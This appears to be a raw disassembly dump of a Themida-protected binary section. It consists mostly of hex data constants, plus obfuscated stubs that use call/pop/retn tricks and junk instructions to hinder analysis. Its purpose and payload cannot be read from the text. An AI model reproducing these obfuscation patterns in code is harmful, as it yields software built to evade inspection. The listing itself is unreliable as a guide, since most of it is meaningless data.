0DEBE9C62h, 0E5AADABEh, 0FD35740Fh dd 0CAB3EE2Fh, 81F96C9Eh, 397C0F9Fh, 5BB06CADh, 29295BC2h dd 5AAB185h, 0B78D54A1h, 0E2h, 0FB38663Ah, 71AAEA82h, 8676960Ch dd 0E8363367h, 0C07CCA4Bh, 4798FA3Ch, 0FA43B49Ch, 0C9BCED22h dd 0F24C3248h, 0BA543367h, 0C01E0808h, 7C9DFA63h, 473E6FA0h dd 0F23B2105h, 95473367h, 94A89079h, 147C7E8Ch, 0D7B6B5E6h dd 73B0C6AFh, 2B2AC435h, 0DB0BA2F5h, 66DE2A9Ah, 49BE9A5Dh dd 0DB3A76C4h, 7DC96B04h, 0B7B4E715h, 870FB0D6h, 0E1933B85h dd 0EB58B864h, 90C771A8h, 68AF0050h, 26A8B54Dh, 0B376A411h dd 61000007h, 341F62Dh, 0A6265DCCh, 7B893E73h, 1050871Ah dd 0B5386FC0h, 4AE53768h, 1689CF1Dh, 0F93063E1h, 47DC3A4Ah dd 0E71F7E10h, 39827101h, 9920AD81h, 56F4AEA9h, 40C9900h dd 74DBA1Ah, 6DF3B194h, 0DC8CF12Ch, 140875A2h, 9D1240C1h dd 543A3363h, 9194BB8Eh, 882777B1h, 38665E5Bh, 51829AFBh dd 232765D8h, 950C4A22h, 3D12E56Ah, 6A99CB77h, 0EC2C15E5h dd 0C09094D0h, 7F2D108Dh, 43745CDh, 0B8E60607h, 0C8FE1F7Bh dd 3573C7BFh, 0F7286CB0h, 0A476D28Eh, 0DD3D53CAh, 0F2C1146h dd 7BC911F7h, 63E79139h, 7FDE5585h, 0C842285Eh, 0AC5E397Bh dd 64259DA4h, 6ABA35E9h, 0F38DF029h, 0C0A6DCA2h, 0C0B4B9E5h dd 1281E416h, 6483DE70h, 78B3E53Bh, 0A3E27418h, 79873C73h dd 2BA39A19h, 0B4B9E54Ah, 0B2AB0454h, 3D2079DAh, 4645860Dh dd 2494323h, 277796A8h, 0D9315E88h, 3465BB85h, 4F8F99F9h dd 0F525A3D0h, 424FC7BEh, 814DEB66h, 0BE1C2D01h, 99A68CB2h dd 8FAB214h, 0FB5BA9DEh, 1043C1A4h, 770C3213h, 0F8B420A6h dd 0D798EF0Ah, 0D0040BE6h, 0F7252D5Fh, 9161EE05h, 316285Eh dd 738989E4h, 2542C3C0h, 3F1B96FBh, 2D7AEA07h, 0BE12A8AEh dd 0F4DAE06Dh, 8CB2157Ch, 45BDA0D2h, 0B2157C64h, 4992A468h dd 5EE2A24h, 38194h, 256BB500h, 71D1938Ah, 13D2C1E4h, 81E6CCF2h dd 0C8BA3367h, 2E013248h, 9DCFB6EBh, 43DCE263h, 0C735738Ah dd 0A3F42815h, 0F151130Ah, 5BCD6FC7h, 50AEB87Dh, 6CE18B91h dd 0ACDEBA01h, 7495F0F3h, 4F3667A8h, 880D351Dh, 1ABC8E20h dd 0E033ED68h, 5BB8C949h, 0EC84ACEBh, 42789471h, 0B475855Ch dd 0EC184A24h, 775A1540h, 6795FD5Dh, 4AB13534h, 4428A21Bh dd 0A1DBC1F9h, 35A7B475h, 3162BA9Bh, 0FF2986D4h, 3C4C729Bh dd 0C0B67F1Ah, 0A9E93716h, 0AC70DD0Ah, 0CA4B326Bh, 80D9CEB4h dd 0F620D2BAh, 0E9469492h, 922225AAh, 0AE6CD99Fh, 596h dd 64931042h, 0C97EAFE4h, 0ACDB56BBh, 73A0FD5Ch, 0DB08A3F5h dd 0C8085790h, 6CA02057h, 13448433h, 0BF1F6D9Ah, 3A1B3360h dd 82721E04h, 78A6239h, 7BDAD98Ah, 128FC25Ah, 7620FE2h dd 19799975h, 7450E0E9h, 8DF06235h, 190CA3F3h, 0EB4618BAh dd 0A4DABBB8h, 3B88559Bh, 0D6164D3Fh, 0F22A2B88h, 6B190C9Dh dd 5886D6EFh, 0D73B62DBh, 93104E7Fh, 0DB91DE64h, 570B8740h dd 0AE000002h, 0A2F6D98Ah, 487EDF09h, 357D6DB3h, 6DCC4EBCh dd 0ACF5B802h, 0B98476A4h, 4DFA3567h, 0DB42DD3Fh, 0B2815463h dd 0D6EC0DD2h, 2D4D7EF0h, 0A442C6B0h, 4B9A3976h, 0BF2CC57Dh dd 4DC8846h, 56B80000h, 0F55AAAD9h, 9CF10FA4h, 4392D201h dd 0E92BB9EEh, 11DE01B6h, 669D0E4Eh, 0CA79B2E6h, 93C059BAh dd 79AE0555h, 0D8BEC445h, 0A8398272h, 0D98AD944h, 0AE437BDAh dd 54357D6Dh, 6DADC3BAh, 13438136h, 87D7A99Ch, 806A3528h dd 0F34360AEh, 199F79A9h, 8B71D5F5h, 17398269h, 0D3031D65h dd 5E821D70h, 5FDA08A8h, 97D548FAh, 0D4041865h, 708FF5Bh dd 1A7BB219h, 8193FEE4h, 70D08239h, 5A24DF8Ch, 190598Dh dd 0AC700000h, 0E2D03467h, 88D5AC7Ah, 0DDA5E75Eh, 0FB386610h dd 0C90B1582h, 0D5BDEF56h, 0A9940B4Bh, 818C7288h, 7A143367h dd 437291Eh, 0EF000607h, 93357391h, 24067CE1h, 2A397B91h dd 90DA3DE3h, 7B91846Ah, 30621C39h, 8AC11F4Dh, 0BB933713h dd 543EFBB0h, 4EBD8Dh, 8A300000h, 437BDAD9h, 35738F7Eh dd 1BEB6A04h, 7CF3CCF5h, 9C6A4C9Fh, 158FFBE0h, 898D4BFBh dd 63D4E7CBh, 8668DEE7h, 16397C49h, 9A1979C6h, 359BF568h dd 0D63364FAh, 77352881h, 0ED1560C5h, 10840459h, 0DA78353Eh dd 9F208D54h, 0B5000000h, 82FB3866h, 0C71AAEAh, 0EC3F918Fh dd 0C75CBA64h, 53D00E5Eh, 86224224h, 0B4E23367h, 3B54C87Fh dd 0A4ED5D38h, 9087F833h, 7A80A9A9h, 3571622Bh, 0BBD8A557h dd 87FE3565h, 71A37DC5h, 0B684893Eh, 54A8A04h, 846A90FCh dd 1C397DF5h, 15843062h, 4A63C5C5h, 3F918F8Bh, 5C2EA7ECh dd 85F02095h, 34955h, 6CC31700h, 0CB62A937h, 94094C9Ch dd 7DB0E17Fh, 0C55686C6h, 0DD8243AEh, 75F3207Bh, 9578C1Fh dd 0A02057C6h, 0E8863D72h, 746B5169h, 3F373982h, 0E53666B2h dd 43E03E4Eh, 78998714h, 67815C42h, 344A2433h, 5AC44CE1h dd 0AEBEA7FCh, 60BF1F70h, 0FCAF8136h, 0D3689EFFh, 6F35738Eh dd 2E1288FDh, 4F397B90h, 41DA3EEEh, 14095DC1h, 31D787Bh dd 0B8E85DCCh, 0F489B1D8h, 7D3B879Dh, 4A336EA3h, 76E03A1Eh dd 8799D0C1h, 2163DA55h, 1897C721h, 940B4B25h, 8E2177A9h dd 0A8DBB58Ah, 8394AAABh, 7357392h, 0F13DF57h, 0BDEF56C9h dd 21D43101h, 479696F7h, 0C6576EEAh, 0E9BBA1D9h, 15C7397Bh dd 0E933152Dh, 1039397Bh, 0EA53CC0Ch, 2036DABEh, 549696DBh dd 2C068Dh, 8AAB0000h, 437BDAD9h, 35738F7Eh, 7BF36A04h dd 397B8F99h, 105BF3A7h, 8D54215Bh, 0ECDDh, 0E30EFC00h dd 2E85D50Fh, 8B37B5FEh, 3866C28Fh, 0AAEA82FBh, 22700C71h dd 399C808Dh, 47C381E4h, 9FF02E3Eh, 1EB5E73Ah, 67860828h dd 0E53A9833h, 7CA0C14Eh, 0E99B821Bh, 67858F75h, 0E1611333h dd 735AD707h, 6745F3E1h, 0E25EC771h, 0ABD3B2B1h, 3573AE9Ah dd 0BEDFBE28h, 7BADA288h, 0EB20FE39h, 0CF0000B2h, 2421225Dh dd 8552D51Eh, 3A1BF53Bh, 72AAB2E2h, 0B49A821Fh, 0CC336A0Ch dd 35B3E012h, 0F93664E3h, 9EF1784h, 99336A0Dh, 0AAD0BDEFh dd 336A0CC4h, 53F022DCh, 26A8EF30h, 0AF73A312h, 6D000001h dd 0F5D8A29h, 0A22251C8h, 4785326Fh, 1C6C9B16h, 0A93463BCh dd 4EE1336Ch, 2A85CB19h, 0FD2C6FFDh, 5BD80646h, 0EB13722Ch dd 39827705h, 6614999Dh, 0C14EE536h, 0A7A3FE5Fh, 0BB9A1979h dd 88FD3065h, 868778D8h, 9FFB3866h, 0DAD98AD2h, 8F7E437Bh dd 6A043573h, 8F997BF3h, 76A7397Bh, 49C962B6h, 0BF8F91A5h dd 55171899h, 9B8D3972h, 2A3DB11Dh, 4A98DF5h, 0B48D54AEh dd 9Bh, 0FB386639h, 71AAEA82h, 8676960Ch, 79C93367h, 30FF4CB5h dd 1806022Dh, 0BECE65BAh, 0FD5AC360h, 0D4BCF323h, 97F6F5A6h dd 74125E6Fh, 0C572EC35h, 5A3B386Bh, 856D7824h, 0DC31EF3Bh dd 0B92BC141h, 6D4FBFDCh, 0EC4FE3FEh, 0EF21FF5Bh, 0E60607BCh dd 1E7AB7h, 0CB385FD0h, 7F26A88Fh, 0D0C806h, 4A8C0000h dd 0E92EBED5h, 90C503B0h, 3766E61Dh, 0DD3F4DFAh, 0DCA1542h dd 7AA90252h, 0DE75A6EAh, 0A7DC4D8Eh, 0DBAF959h, 0E4CAF051h dd 0BC398276h, 366635B8h, 0E03E4EE5h, 66871443h, 1582FB38h dd 0F151C80Bh, 1B48E737h, 39ADC432h, 2AB4413Dh, 687F2E14h dd 56807233h, 0AEAFD8F2h, 0B1C87656h, 64E11339h, 7E62CD5Eh dd 9A837D35h, 0E61C3Dh, 8039819Bh, 66B472D6h, 0C4A9AC9h dd 21AE97h, 819A14FAh, 19216C39h, 39819A33h, 0E7639D4Fh dd 138DF9DFh, 0E0769C6Ah, 1C8DCE5Eh, 11F7B29h, 0A72552D1h dd 2B453877h, 43CEB7EAh, 207E8FA7h, 0CAEB5483h, 0EC6DCEB4h dd 2020D289h, 221B98C6h, 0F1286BB5h, 91F42B6Bh, 31777D3h dd 9A000000h, 3466BB86h, 0A8F686FFh, 197A120Bh, 8DC39D80h dd 3552B12h, 79DBB5A8h, 0F0213F26h, 61B4C8BDh, 0D00759CCh dd 83B3E459h, 48904ECh, 0E7895724h, 4C781h, 0EF830000h dd 243C8704h, 242C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 6856241Ch, 1861697Bh, 0E681465Eh, 50FF0D3Ah dd 30ACF681h, 0F5896839h, 0E6C5815Eh, 8117F61Ch, 775FE7CDh dd 0ED814575h, 39AD3329h, 17A7C581h, 0C581665Ch, 0E3ECA877h dd 5E1968h, 24248900h, 4240483h, 8BA525Bh, 1000000h, 8B2A89DAh dd 0C4812414h, 4, 56241C8Bh, 0C681E689h, 4, 4C681h, 34870000h dd 2C8B5C24h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 0FA4BF8E9h, 3203F9FFh, 0B8E96AE0h, 61AF6DFh, 0E0FFC503h dd 70C312D5h, 30EB5EC6h, 350A2AE1h, 6705536Fh, 2D554660h dd 51ABA7FEh, 4F058BF8h, 799AE1C0h, 122DFD84h, 231F7237h dd 77801D63h, 1D11B735h, 4BAA2F97h, 431A9907h, 30537F91h dd 1C4EB3FFh, 63817DABh, 0C9FE3B9h, 334D9E5Ah, 50DFD9DEh dd 5AA71506h, 3FA925AEh, 7A78C645h, 0F8FB8D8Dh, 6A061Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 66CA3AC3h, 7E98D89h, 8E0F0614h, 6, 13599523h, 8D890614h dd 6142B69h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0C4C35545h, 512B1DBEh, 85C78CB2h, 6141055h, 6080h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h dd 895F5304h, 14087585h, 3D85C706h, 61401h, 0F000000h dd 683h, 41B58B00h, 0FF06140Eh, 14129DB5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 5FE58F18h, 3FC6FB5Dh, 6E840h, 0F0C30000h, 8988D96Ah dd 71BD8960h, 66061408h, 1147E181h, 66575861h, 0FF5BF28Bh dd 140BD995h, 0C7BF0F06h, 95FF006Ah, 6142971h, 2CEBC08Bh dd 0F819C7F2h, 5CEA5CD5h, 4AC343F1h, 86763347h, 93A34624h dd 619E5414h, 377A5C85h, 9B619C89h, 0FFBBAB91h, 69E1F855h dd 97ECA8E1h, 0EE8h, 0E1738100h, 6A4D5212h, 4E74FF94h dd 8B9A7C20h, 5E958D3h, 0B2000000h, 81E6505Dh, 6062C081h dd 8D8B0000h, 6142059h, 0C88BFF33h, 8B381C8Bh, 140BB98Dh dd 9BF38106h, 0E86F24F7h, 13h, 0C9DE27C3h, 0CA433FDh, 0DFF6ACEAh dd 0B1F19AF2h, 89139675h, 140F019Dh, 0EB815A06h, 1B9F2B01h dd 0EF59589h, 0C3810614h, 316E1F83h, 0C2E18166h, 8D8B53C1h dd 6142021h, 0F38048Fh, 281h, 9C4B100h, 1402B5BDh, 0ECEF8106h dd 0E8214E11h, 9, 0CD94700Fh, 7DDA899Dh, 0F5B52BB4h, 5906140Ch dd 11E8C781h, 81F5214Eh, 0FFA088FFh, 1A850FFFh, 60000000h dd 421B589h, 8D290614h, 6142E19h, 25E961h, 5C670000h, 0FE906DDCh dd 0D58D8BA8h, 0E9061430h, 0FFFFFF50h, 20980B8Ah, 0CE2A4426h dd 7D5D012Dh, 0BCDFE0ADh, 8DD45533h, 1AFA6E8Dh, 698D8906h dd 8B06142Bh, 140B059Dh, 5585C706h, 8C061410h, 1000060h dd 14123DBDh, 85C7F806h, 614013Dh, 0 ; --------------------------------------------------------------------------- mov bx, 0B88Ch push dword ptr [ebp+6142501h] xor di, 0EC2Fh call dword ptr [ebp+6140BD9h] mov ebx, [ebp+6142F31h] push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5ED68C ; --------------------------------------------------------------------------- db 0CDh dd 0F2C82B6Eh, 661F105Dh, 0F181D7F0h, 3B4C0ACEh, 111CB279h dd 0D5F41BF4h, 96CEC5B0h, 6255C966h, 9E657Fh, 3B4A3F70h dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 70B35397h, 74B201C8h dd 0AB09FE53h, 0A71414D3h, 175D23C6h, 0A115614Eh, 8876EDBBh dd 0FE855B3Ch, 3CB9F54Bh, 221F6C1Ah, 0B7F1080Ah, 0C16F4817h dd 0C8219241h, 42EC0518h, 0BC1AEC7Dh, 0DAA80F3Ch, 0C42D2356h dd 653726E5h ; --------------------------------------------------------------------------- loc_5ED68C: ; CODE XREF: Themida_:005ED60Dj lea ecx, [ebp+61AFBAEh] push 0 push edx call sub_5ED69D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED69D proc near ; CODE XREF: Themida_:005ED695p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5ED69D endp ; --------------------------------------------------------------------------- rcl dword ptr es:[ecx+2E75D901h], 1 mov ecx, [ecx+142A31BDh] push es mov [ebp+6142B69h], ecx mov dl, 6Eh mov dword ptr [ebp+6141055h], 5940h or esi, 47F65AD1h mov dword ptr [ebp+614013Dh], 0 movsx edx, cx push dword ptr [ebp+614080Dh] push 0 push ecx call sub_5ED6F1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED6F1 proc near ; CODE XREF: Themida_:005ED6E9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5ED6F1 endp ; --------------------------------------------------------------------------- db 42h, 78h, 42h dd 0AE891h, 90000h, 31D7E0F5h, 0CBF29632h, 0E85BF08Bh dd 10h, 9540912Eh, 0D5553A4Bh, 41F1CA37h, 9F280C22h, 7832BA66h dd 0D995FF5Ah, 8906140Bh, 142AAD9Dh, 85852B06h, 6A06141Eh dd 7195FF00h, 8B061429h, 0D378EBC0h, 61978FDAh, 0BAE0623Ch dd 0E3BD284Ah, 38A83DE9h, 355F8D31h, 0E6AB166Bh, 3A6BB97Ah dd 197E4175h, 5004EDB1h, 5AB5EA67h, 0D28146A2h, 4BE24048h dd 34FE8419h, 236542C4h, 0BB76DE8Ah, 0C8927E18h, 637D83D3h dd 0A93B9CFBh, 0C0C0D46Ch, 0CC3D65FCh, 1A995766h, 9A483CA7h dd 0CB1B6DFh, 0B2652B61h, 0B8FC4550h, 9D307FC7h, 5924EF4Eh dd 6DCDFC0h, 9A99E8Ch, 0E8A0B61Ch, 0Eh, 0CD6C1074h, 5FDB0F05h dd 0BB9ADCB3h, 8D2998ECh, 6142385h, 25B50959h, 81061402h dd 6A7BC1h, 8D896000h, 61401E9h, 645B531h, 68610614h, 1A69h dd 0D060BF66h, 2DB5895Ah, 8B06141Eh, 6800F19h, 1000000h dd 14191585h, 36EB8106h, 8B2F601Eh, 48F381C1h, 0F2F2453h dd 28Fh, 81C68B00h, 1C5544EBh, 0C880F7Eh, 0F000000h, 68Eh dd 71858900h, 5306141Bh, 0E7E173BFh, 83018F5Dh, 0BF0F04E9h dd 1EA83C7h, 1F850Fh, 0B58B0000h, 6142B71h, 3EE9h, 0E84B5300h dd 1B112D9Eh, 643F0A33h, 42A54081h, 7F4104BCh, 10E9CAh dd 0C7C50000h, 0FD09D8E2h, 514F53F3h, 0B986B5EEh, 74E9686Fh dd 44FFFFFFh, 0C475CF19h, 59B099EDh, 7F148C04h, 0E9949A27h dd 1Ch, 1A1E9829h, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_5EDE01 ; --------------------------------------------------------------------------- db 56h, 36h, 7Bh dd 661728B7h, 8F0A05A2h, 0B7EE1C8Bh, 0D8D5F473h, 55FDD754h dd 28B77B36h, 19E621Bh, 19868A05h, 570B4E7h, 6FCA79A6h dd 0A4955EAh, 36656786h, 574A7906h, 6C3254D3h, 0F09270C3h dd 998FF353h, 0E63F189Ah, 0E1193D5Ah, 0F9266C9Eh, 53F0F74Ah dd 9FAAB7C9h, 45F2E60Bh, 930E3D21h, 0F0392712h, 5AD8BC53h dd 0AEF4156Ah, 0F0393201h, 0A9CDB153h, 0F31AF591h, 37FBB2D4h dd 0FD4CE944h, 3153F039h, 0F03945F4h, 67ADE53h, 2F5BF002h dd 1B37B074h, 1A32699Bh, 1D629ABEh, 285B5F0h, 818DBCD3h dd 63650206h, 0AD911028h, 8D53F039h, 6BF4047Fh, 4817275Eh dd 0CF4B433Ah, 0EF335AF9h, 2929402Fh, 85953803h, 4F93h dd 65671900h, 0D6950636h, 4BCFFFBAh, 9273CCC9h, 0AF4053F0h dd 8CE40A48h, 1F28594h, 3E000000h, 0BBCC6667h, 2A4ECAC2h dd 0F6EE4311h, 0EF40285Fh, 0C5C69925h, 0A1AFB0C8h, 7E8AD1EAh dd 0B0D4C9F8h, 0B6F63C98h, 0BFCE2592h, 8C1B1F8Eh, 35FF037Ah dd 6356867h, 0C3DE604Eh, 1136944h, 0F4A9DAA5h, 1590BBC4h dd 326F9AE5h, 7A917E1Ah, 0F26DDEB0h, 0F09586B5h, 0FB391D53h dd 0BFCEFD14h, 9FA13EC2h, 196FDCECh, 0ED97EB22h, 21FE34D5h dd 9506B26h, 357183FEh, 69611C2Ah, 0B08EBDFAh, 10553F0h dd 91A9E4E6h, 2FF31AF5h, 0BEBCD332h, 8594AC80h, 897Eh dd 6867BA00h, 4F7A0535h, 0EAE29DA9h, 16324A6Eh, 143352B9h dd 6EE69599h, 46CD5CE6h, 8D2A21ABh, 53F0CFBEh, 0CC35135h dd 574E7BFDh, 8FBFA327h, 0A3DBD2F0h, 0C6F6AFDCh, 0E41487B9h dd 0A46E8532h, 0C9FB82B9h, 41651829h, 0B847CD49h, 0E7EB0151h dd 5EEB8594h, 0C1000000h, 5356867h, 0D7BBD796h, 0F092FB56h dd 0F0147853h, 5CAA7CD8h, 2E23FFD7h, 5F6B20F2h, 0CFFFAEDFh dd 5514274Bh, 0CA4E7E39h, 8FC87C48h, 772A5968h, 666761B3h dd 0A3C7BECCh, 222138ABh, 1628A56Fh, 2B53F092h, 6BF22D44h dd 84CC2259h, 600D97C4h, 0EC32DE54h, 8A8594D5h, 1, 0D7F48B26h dd 0F03DAEDEh, 53F09241h, 0D85A7EC2h, 7D8D0803h, 9EADE0E2h dd 92B78223h, 48CC53F0h, 0BE9DFACAh, 921D2857h, 202BF38Bh dd 0A65DB365h, 73CE6F9Ch, 0F053F01Dh, 0DCA4688Ch, 124C8D0Dh dd 0F470B56Dh, 3C7ABBD0h, 3549DCF8h, 24263951h, 9ED6A569h dd 35B6A81Fh, 0CB8092BEh, 6BCAC2B9h, 55E445D6h, 2857BED9h dd 4A36716h, 0EC738B02h, 0D8A8A3DAh, 9ED0A161h, 0F1CD471Eh dd 1525606Eh, 4A423F4Ah, 0CF33EC3Ch, 3C92C9C3h, 0DCB2789Fh dd 172958BFh, 0E634A064h, 0F08BA91Ch, 143h, 0CFCAC685h dd 0E8A5A0BFh, 0D75074D0h, 53B7C7B6h, 61805FC1h, 0F675E01Bh dd 5D58DAD7h, 49DC90DDh, 8AB9E651h, 955E490h, 97FB0F05h dd 0B7E61867h, 0DBD2F473h, 0F3AADCA3h, 0A8581D8h, 209C96F2h dd 0FF3259F6h, 0B3BD2669h, 0D70523A0h, 465BF4EBh, 653AF81Ch dd 0A0132863h, 0E42E3407h, 53DC4F55h, 55E42EE0h, 39FB1F63h dd 83720279h, 0A508AAB5h, 71BF43D1h, 0CD8BA918h, 1D1792BEh dd 3A62h, 65804E00h, 6F9DEC1Fh, 6E800434h, 879E6937h, 5556DC9Bh dd 0F06319C8h, 4676DAD3h, 3F7A96D5h, 6349F8F5h, 0F966D3F0h dd 0B719492h, 63E4B7F0h, 1B7F53F0h, 89C517h, 80530000h dd 47E01B61h, 49DC6A83h, 67F81074h, 75F23665h, 15A5A353h dd 0B8FBFFAh, 7C88D7E7h, 698D0901h, 48F43545h, 4155E49Bh dd 9EA0DF36h, 9984DCEFh, 0DB9A30B3h, 0E99959DBh, 987E9E18h dd 7F4DBC55h, 68B5205Bh, 55E404D9h, 1C29F65Ah, 27ED6961h dd 9341B84h, 0DBBF4FCFh, 0F3AADCA3h, 769D7CDBh, 102B51B0h dd 0F40CB897h, 9C197445h, 41BA02ADh, 90D02226h, 2CF7ABBh dd 0D74441BAh, 0BA02FB56h, 0F0147841h, 808A48CCh, 75E01B61h dd 0ADDDD8F6h, 43EAEB29h, 0E849DB9Fh, 0F90B5464h, 0DFE17E82h dd 531D9CACh, 33B9F404h, 136C9C17h, 0CB8FBFF6h, 0D93D056Ch dd 0D6E8177Eh, 0C2C463A7h, 74981530h, 960D3B44h, 0B5E81966h dd 0D3CEFA85h, 29408FBBh, 0F81FFEE1h, 40C4B7C9h, 0C5F6A5A7h dd 0FC0C8986h, 0F7E8F98h, 2D999BFFh, 31Fh, 0A68C9500h dd 4346767h, 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 0E789571Fh dd 4C781h, 0EF810000h, 4, 5C243C87h, 68240C89h, 14A0h dd 68240C89h, 2EEBh, 57241C89h, 0E410B7BFh, 0C7814F62h dd 1, 7EFC14Fh, 3510F781h, 0F98906DFh, 4EC835Fh, 83242489h dd 5B042404h, 9BB85051h, 293F7935h, 58042444h, 8108438Fh dd 359B0843h, 1C8B3F79h, 0E2895224h, 4C281h, 0C2830000h dd 24148704h, 240C8B5Ch, 81E28952h, 4C2h, 4C28100h, 87000000h dd 0E95C2414h, 0FFF97E7Ch ; --------------------------------------------------------------------------- scasb loc_5EDE01: ; CODE XREF: Themida_:005ED8C8j mov eax, 61B01D5h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 53D1h dd 48442F46h, 0DA5F1A62h, 94624E9Eh, 6E715271h, 53BF22EEh dd 0C5D34441h, 0FA281181h, 1DAC63A7h, 11AC5B1Eh, 6DD008B8h dd 7AE4B99h, 2CAF3AABh, 0C92F6B0Fh, 4F2904D5h, 4B5F0B53h dd 47B1660Ch, 0D77B2032h, 0FE34292Fh, 56036549h, 5D3F0749h dd 71E772E3h, 0DE85210h, 90000000h, 773B92E3h, 9BD8B4C9h dd 0A647475Eh, 6736B866h, 81F78A59h, 6513C1h, 0D68B6600h dd 191868h, 5FA0B600h, 666031FFh, 53D420BAh, 615AC88Bh dd 4860F5Eh, 66000000h, 813B99BAh, 5E2183EEh, 0CE95231h dd 23000000h, 2AA7B85Ch, 0D9B8CE4Fh, 5B3A6DEEh, 0FEDC681h dd 816673EFh, 814C41D0h, 9B8E6EC6h, 5617B72Ah, 8E8h, 5C475D00h dd 0D82DAF3Ch, 0BE87Ah, 0CDC20000h, 234F350Bh, 0FCF83AB4h dd 5AD18B7Dh, 0E9018F5Bh, 7, 0D4AF0DB8h, 810D4845h, 0E6AB9FE9h dd 0C28B6678h, 0AB9BC181h, 81F578E6h, 1EFh, 71850F00h dd 80FFFFFFh, 8D8DCBF7h, 61B0463h, 8D895B51h, 6142B69h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EEC35545h dd 0DF88DF4Ch, 365BD23h, 820F0614h, 8, 2810Fh, 5A570000h dd 105585C7h, 58380614h, 0D88A0000h, 13D85C7h, 614h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 8C51DDC3h, 0F6A5653h, 0B5FF7A76h, 61411C9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A3C35242h, 699D8958h dd 8B061403h, 141CE595h, 0D995FF06h, 6006140Bh, 0CE8h dd 7BD81400h, 24AC600Dh, 0EAA60044h, 0CE90Eh, 30A40000h dd 92D50E48h, 8ADEF66Dh, 665A980Bh, 61CD31BAh, 95FF006Ah dd 6142971h, 1FEBC08Bh, 0CACEB128h, 0D6E64FB2h, 8DC10376h dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h, 8D6F6FF6h dd 1B05568Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 65850168h, 89061418h, 142B698Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 18D32FF9h, 95BE8C26h, 17FD9589h, 0D98A0614h dd 105585C7h, 64E80614h, 95890000h, 6140459h, 13D85C7h dd 614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 70706BC3h, 4FE7344Fh, 1DBD03C5h dd 0BF061430h, 3AB7C1F5h, 0D09B5FFh, 0B20614h, 0BD995FFh dd 7E80614h, 0C4000000h, 0D9B2E4A0h, 85298D40h, 6141E9Dh dd 0BD958958h, 6A061409h, 7195FF00h, 8B061429h, 0F74CEBC0h dd 0EFC43F2Ah, 9ABCF87Ah, 2DED109Bh, 0BCD5D89Eh, 6F3EC741h dd 372300E7h, 613878B8h, 0BD25B7DFh, 55FE07DEh, 9B6A7AF1h dd 0A1835700h, 0CD410219h, 0D2F13D88h, 1E8B4198h, 0D34CA258h dd 1394AE27h, 794B2E1h, 0A4F5DC84h, 8D159A5Eh, 1B062F8Dh dd 698D8906h, 2906142Bh, 140CBD9Dh, 5585C706h, 0EC061410h dd 6A000057h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 51F0C351h, 0FD232689h, 3D85C715h dd 61401h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0DA73C353h, 4F3FDBAFh, 0FFC99D8Dh dd 140D09B5h, 0C78B6606h, 0BD995FFh, 0B5010614h, 6140BADh dd 95FF006Ah, 6142971h, 4CEBC08Bh, 86F68523h, 44B2B1A4h dd 101F6A86h, 2CACA8A1h, 0C53B7881h, 0D309B6E7h, 99DEB772h dd 0BA1B9203h, 0C33C5073h, 6F1498Dh, 66E8038Fh, 1A65837Bh dd 41DC909Bh, 0D2EAB2E7h, 0C8E9D4E3h, 75457B50h, 0F3B4BAC2h dd 69BB2D78h, 179BEFCBh, 0EE8h, 5669A00h, 21E4A52Ah, 0C635906Ah dd 81E92941h, 0C83334CAh, 8AB65B65h, 6E8CC381h, 8B560000h dd 140A4DBDh, 0BE5A06h, 89000000h, 140C518Dh, 1E34FF06h dd 0D7BBBF66h, 0E981F859h, 68B58D9h, 425850Bh, 0C1810614h dd 4DCBAA8Eh, 0F05850Bh, 0E9810614h, 1B8E694Ah, 0C89F88Bh dd 0EDBD8933h, 2906140Dh, 1407FD85h, 91EE8106h, 66123D18h dd 0C681D08Bh, 123D188Dh, 0FE81E38Ah, 0FFFF9224h, 13850Fh dd 81660000h, 0E9B4F4F2h, 25h, 5BC791Dh, 0E1113358h, 0DD958940h dd 0E906140Bh, 0FFFFFF8Dh, 3CEF563Eh, 861D3B70h, 0FDC04751h dd 4D46A6A4h, 0E78D8D16h, 52061B07h, 68F0Fh, 858B0000h dd 6140369h, 698D895Fh, 6A06142Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0AE34C351h dd 85C7FC0Bh, 6141055h, 5D94h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 13C35646h, 7D9D89A4h, 0C706141Fh dd 14013D85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 6060606h, 9B5FF06h, 6606140Dh dd 0CE69C281h, 0BD995FFh, 95030614h, 6141371h, 95FF006Ah dd 6142971h, 4CEBC08Bh, 0A818F5C8h, 13CEB84Dh, 91E3A543h dd 531623h, 57CC1CDFh, 